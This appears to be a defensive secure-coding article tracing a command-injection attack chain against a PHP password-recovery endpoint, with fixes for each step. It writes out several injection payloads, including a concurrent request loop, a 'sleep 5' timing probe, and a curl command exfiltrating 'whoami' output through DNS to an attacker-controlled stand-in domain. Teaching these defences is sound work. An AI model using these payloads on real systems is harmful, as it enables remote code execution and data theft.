A developer tests their mailer. They send a few requests. Nothing breaks. They ship it.
Six months later, their application is compromised.
The flaw wasn’t obvious because it only surfaces under load—a race condition at 50 concurrent requests that never triggers in manual testing. The vulnerability was present from day one. It just waited for traffic, or for an attacker, to reveal it.
This is the story of how that happens. And more importantly: how to prevent it.
The Attack Chain at a Glance
Real-world exploitation is rarely a single flaw. It is a chain. Each link in the chain is a separate developer mistake. Fix any one link and the chain breaks. Fix all of them and the vulnerability cannot exist.
Here are the five links:
Attack Chain — Five Links
We will walk through each link, explain why it exists, and show you the code that eliminates it.
Link 1 — Passing User Input to a Shell Command
What the attacker sees
A password recovery endpoint that accepts a mailer parameter and passes it, unsanitised, to a system shell call:
// ❌ Vulnerable
$mailer = $_POST['mailer'];
shell_exec("sendmail -t $mailer");
The attacker supplies:
mailer=admin`whoami > /tmp/test.txt`
The shell interprets the backticks as a sub-command. whoami executes. Its output is written to /tmp/test.txt. The attacker now has arbitrary code execution.
Why developers write this
The blame is not always on the developer. Consider:
sendmailandmailare the first results in many tutorialsshell_exec()feels like the “direct” way to invoke external tools- The developer never imagined the input would contain shell metacharacters
- No code review process caught it (this is critical: shell commands need explicit, mandatory review)
The Fix
Never call a shell for tasks that have native library equivalents. Sending email is the canonical example.
// ✅ Safe — PHPMailer handles everything natively
use PHPMailer\PHPMailer\PHPMailer;
$mailer = filter_input(INPUT_POST, 'mailer', FILTER_VALIDATE_EMAIL);
if (!$mailer) {
http_response_code(400);
exit('Invalid email address');
}
$mail = new PHPMailer();
$mail->addAddress($mailer); // treated as data, never as a command
$mail->Subject = 'Password Reset';
$mail->Body = 'Your reset link is: ...';
$mail->send();
Every major language has an equivalent:
| Language | Safe Library |
|---|---|
| PHP | PHPMailer, Symfony Mailer |
| Python | smtplib + email.mime, or sendgrid-python |
| Node.js | nodemailer |
| Ruby | mail gem, ActionMailer |
| Go | net/smtp |
| Java | javax.mail, Spring Mail |
If You Must Call an External Process
If you genuinely need to invoke an external tool (and 99% of the time you don’t), pass arguments as an array — never as a shell string:
// ❌ Shell string — shell tokenises it, metacharacters execute
exec("sendmail -t $mailer");
// ✅ Array form — no shell involved, no injection surface
proc_open(
['/usr/sbin/sendmail', '-t', $mailer],
$descriptorspec,
$pipes
);
The array form bypasses the shell entirely. No tokenization. No metacharacter interpretation. Arguments are passed directly to the executable.
Validation as a Defensive Layer
Even if the above is followed, validate inputs against the narrowest possible allowlist at the point of entry:
$mailer = filter_input(INPUT_POST, 'mailer', FILTER_VALIDATE_EMAIL);
if (!$mailer) {
http_response_code(400);
exit('Invalid email');
}
An email address is local@domain.tld. Anything that is not that shape should never reach your business logic.
Link 2 — Shared Temporary Files Without Unique Names or Locking
What the attacker sees
Some developers try to avoid direct injection by writing the input to a file first, then passing the filename to the command. This feels safer. It is not.
// ❌ Vulnerable — shared path, no lock
file_put_contents('/tmp/email.tmp', $mailer);
shell_exec("sendmail -t $(cat /tmp/email.tmp)");
Two fatal problems immediately emerge:
- Every request writes to the same file. Any concurrent request can overwrite what another just wrote.
- The
$(cat /tmp/email.tmp)construct is still a shell string — injection is still possible through the file contents.
You’ve moved the injection point, not eliminated it.
Why This Pattern Exists
Developers adopting this pattern often believe:
- “Escaping won’t work” (false—but it’s also not the right fix)
- “Writing to a file is safer than passing on the command line” (partially true, but only if implemented correctly)
- “A temporary file buys us validation time” (no, it buys you a TOCTOU vulnerability)
The Fix
Unique file per request, exclusive lock, clean up after yourself:
// ✅ Safe temp file handling
$tmp = tempnam('/tmp', 'mail_'); // e.g. /tmp/mail_a3f9c2 — unique per call
$fh = fopen($tmp, 'w');
if (!$fh) die('Cannot open temp file');
flock($fh, LOCK_EX); // exclusive lock — no concurrent writes
if (!fwrite($fh, $validated_data)) die('Write failed');
flock($fh, LOCK_UN);
fclose($fh);
// ... use $tmp safely ...
unlink($tmp); // always clean up
Why each piece matters:
tempnam()guarantees uniqueness by generating a random filename with a unique inodeflock(LOCK_EX)guarantees atomic writes—no other process reads a partially-written fileunlink()ensures the file does not persist as a residual artefact that could be exploited later
Even better: use language features designed for temp files:
# Python — context manager handles cleanup automatically
import tempfile
with tempfile.NamedTemporaryFile(mode='w', delete=True) as f:
f.write(validated_data)
f.flush()
# Use f.name here
# Automatically deleted when exiting the context
Link 3 — Race Conditions Exploited Through Concurrency
What the attacker sees
With a shared temp file and no locking, a single request rarely causes a collision. But the attacker does not send a single request.
// 50 simultaneous requests — each one races to overwrite the shared file
for (let i = 0; i < 50; i++) {
fetch('https://target.example.com/password_retrieve2.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'mailer=admin`whoami > /tmp/pwned.txt`'
});
}
The results are deterministic. At sequential speeds the bug has roughly a 6% collision rate. Under 50 concurrent requests the collision rate approaches 100%. The vulnerability becomes guaranteed.
This is why static analysis and single-request dynamic scanners miss it entirely. They test at sequential speeds.
Why This Is Especially Dangerous
A vulnerability that is probabilistic under normal use and deterministic under attack is one of the hardest classes to catch in testing.
Most QA and penetration testing sends requests one at a time. A developer manually testing sends maybe 3–5 requests. The race condition only surfaces under load. By the time it is discovered it may already have been exploited.
Timeline:
- Code ships with race condition (untested at scale)
- Traffic is light; bug never triggers
- Marketing campaign drives traffic spike
- Attacker sees 50+ concurrent requests succeed
- System is compromised
The Fix — Three Layers
Layer 1: Eliminate Shared Mutable State
If each request uses a unique temp file (as shown above), there is nothing to race over:
// Each request gets its own file — no collision possible
$tmp = tempnam('/tmp', 'mail_' . uniqid());
// ... use it ...
unlink($tmp);
Layer 2: Make Operations Atomic
Use database transactions, file locks, or language-level mutexes wherever multiple requests can touch the same resource:
// Database transaction — ensures atomicity
$db->beginTransaction();
$result = $db->query("SELECT * FROM config WHERE key = ? FOR UPDATE", [$key]);
$db->query("UPDATE config SET value = ? WHERE key = ?", [$newValue, $key]);
$db->commit();
Layer 3: Test Under Concurrency
Add concurrent load tests to your CI pipeline for any endpoint that touches shared state:
# k6 — concurrent load test targeting a single endpoint
k6 run --vus 50 --duration 10s script.js
// script.js
import http from 'k6/http';
export default function () {
http.post('https://staging.example.com/password_retrieve2.php', {
mailer: 'test@example.com',
});
}
If the endpoint behaves differently under 50 concurrent users than under 1, you have a race condition somewhere. This must be a gating criterion for production deployment.
Link 4 — Blind Command Execution
What the attacker sees
Many injection points do not return command output in the HTTP response. The command runs on the server; nothing comes back. This is called blind RCE.
The attacker detects it via timing:
# If the response takes ~5 seconds, sleep 5 executed — RCE confirmed
curl -X POST https://target.example.com/password_retrieve2.php \
--data-urlencode 'mailer=`sleep 5`'
A 5-second delay in the response confirms execution even though no output is visible. The attacker has now confirmed arbitrary code execution.
What Blind RCE Does NOT Mean
Blind output does not mean limited impact. The attacker can still:
- Write files anywhere the process has write access
- Read files (exfiltrated via OOB — see next section)
- Modify application configuration
- Install persistence mechanisms (cron jobs, backdoors)
- Pivot to other internal services
- Steal database credentials from environment variables
- Enumerate the filesystem to find other targets
The lack of inline output is an inconvenience to the attacker, not a protection.
The Fix
Blind RCE is not a separate vulnerability. It is the same command injection with a less obvious confirmation path. All of the fixes in Links 1 and 2 apply directly.
There is no “blind RCE mitigation” distinct from “don’t allow command injection.”
What blind RCE teaches you as a developer is this:
You cannot rely on observing bad output to know your application is compromised. Secure the input. Do not rely on the absence of visible damage as evidence of safety.
Link 5 — Out-of-Band (OOB) Exfiltration
What the attacker sees
When the HTTP response is blind, the attacker routes command output through a separate channel — typically DNS queries or HTTP callbacks to an attacker-controlled server.
# DNS exfiltration — encode command output into a DNS lookup
# The attacker watches their DNS server for incoming queries
curl -X POST https://target.example.com/password_retrieve2.php \
--data-urlencode 'mailer=`nslookup $(whoami).attacker-controlled.com`'
The server running whoami (e.g., returning www-data) sends a DNS query for www-data.attacker-controlled.com. The attacker reads the subdomain label and recovers the output.
Tools like Burp Collaborator and interactsh make this trivially easy:
- They provision a subdomain
- They wait for DNS/HTTP callbacks
- They display what data arrived
- They require zero setup on the attacker’s part
A skilled attacker can exfiltrate megabytes of data via DNS queries alone.
Why This Matters for Your Architecture
OOB exfiltration requires the server to make outbound network connections — DNS queries, HTTP requests, or TCP connections to the attacker. If your server cannot reach arbitrary external hosts, OOB exfiltration is severely limited.
This is one of the few layers where network architecture matters as much as code security.
The Fix — Defence in Depth at the Network Layer
Restrict outbound connections from your application servers:
# Example: iptables rule allowing only necessary outbound traffic
# Allow outbound SMTP to your mail relay
iptables -A OUTPUT -p tcp --dport 587 -d mail-relay.internal -j ACCEPT
# Allow outbound HTTPS to known API endpoints
iptables -A OUTPUT -p tcp --dport 443 -d api.stripe.com -j ACCEPT
# Allow DNS queries only to internal resolver
iptables -A OUTPUT -p udp --dport 53 -d 10.0.0.1 -j ACCEPT
# Drop all other outbound from www-data
iptables -A OUTPUT -m owner --uid-owner www-data -j DROP
In container and cloud environments, use network policies:
# Kubernetes NetworkPolicy — deny all egress from web pods by default
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-external-egress
spec:
podSelector:
matchLabels:
role: web
policyTypes:
- Egress
egress:
# Allow traffic only to database and cache (both internal)
- to:
- podSelector:
matchLabels:
tier: database
ports:
- protocol: TCP
port: 5432
- to:
- podSelector:
matchLabels:
tier: cache
ports:
- protocol: TCP
port: 6379
What This Does and Doesn’t Do
✅ What egress restrictions DO:
- Prevent OOB exfiltration via DNS and HTTP
- Force attackers to exfiltrate via existing outbound channels (mail, legitimate APIs)
- Make exfiltration much slower and more detectable
❌ What egress restrictions DON’T do:
- Prevent command injection itself
- Prevent local file reads/writes
- Prevent lateral movement within your network
This is a damage-limitation layer, not a primary defence. It prevents the easiest exfiltration path if command injection already exists. The primary fix is still: don’t allow command injection in the first place.
The Full Fix Checklist
| Vulnerability | Root Cause | Fix |
|---|---|---|
| Command injection | User input in shell string | Use native libraries; array args only |
| Temp file collision | Shared path, no locking | tempnam() + flock() + unlink() |
| Race condition | No atomic operations under concurrency | Unique state per request; concurrent load tests in CI |
| Blind RCE | Same as command injection | Same fix; do not rely on visible output as proof of safety |
| OOB exfiltration | Unrestricted outbound network | Egress firewall rules; deny-by-default network policies |
Why Testing Failed (And How to Fix It)
The Testing Gap
Static analysis caught: 0 issues
Manual pen testing found: 0 issues
Attacker found it: 100% exploit success rate
Why? The vulnerability is probabilistic under normal load and deterministic under attack.
Your QA process:
- Sends 5 requests sequentially
- Waits for each response
- Checks the result
- Declares it safe
The attacker’s process:
- Sends 50 requests in parallel
- Watches for any that succeed
- Exploits those that do
- Declares it vulnerable
The bug was there all along. You just didn’t test the right way.
How to Close the Gap
#!/bin/bash
# Add this to your CI/CD pipeline — gates production deployment
echo "Running concurrent load test..."
k6 run --vus 50 --duration 30s --rps 100 \
--summary-trend-stats="avg,p(95),p(99),max" \
load-tests/critical-endpoints.js
if [ $? -ne 0 ]; then
echo "Load test failed — possible race condition"
exit 1
fi
echo "Passed — safe to deploy"
Add this to every endpoint that:
- Touches shared files
- Modifies global state
- Handles user input
- Performs filesystem operations
The Principle: Secure by Construction
Write code that is secure by construction. Not code that happens not to have failed yet.
Each flaw in the attack chain was introduced at a moment when a developer could have chosen differently:
At Link 1: “I could use a native mail library instead of shell_exec” At Link 2: “I could use tempnam() instead of a fixed path” At Link 3: “I could add concurrent load tests to my CI” At Link 4: “I could treat blind execution as a full compromise, not a partial win” At Link 5: “I could restrict outbound traffic at the firewall”
Every choice compounds. The attacker only needs all five to fail. You only need to succeed at one to break the chain.
Summary
Every step of this attack chain was enabled by a single category of mistake:
Treating user input as trusted, executable content rather than as untrusted data.
The fixes are not exotic:
- Native libraries instead of shell calls
- Unique, locked, cleaned-up temp files instead of shared state
- Concurrent testing as a standard CI gate, not an afterthought
- Egress restrictions as a network-layer backstop
None of these require a security expert. They require discipline applied at the point where the code is first written — which is always cheaper than finding the vulnerability after deployment.
The difference between a system that is secure and one that merely hasn’t been attacked yet is these five choices.
Make them.
Tags: command injection · race conditions · blind RCE · OOB exfiltration · secure coding · PHP · application security · TOCTOU · network security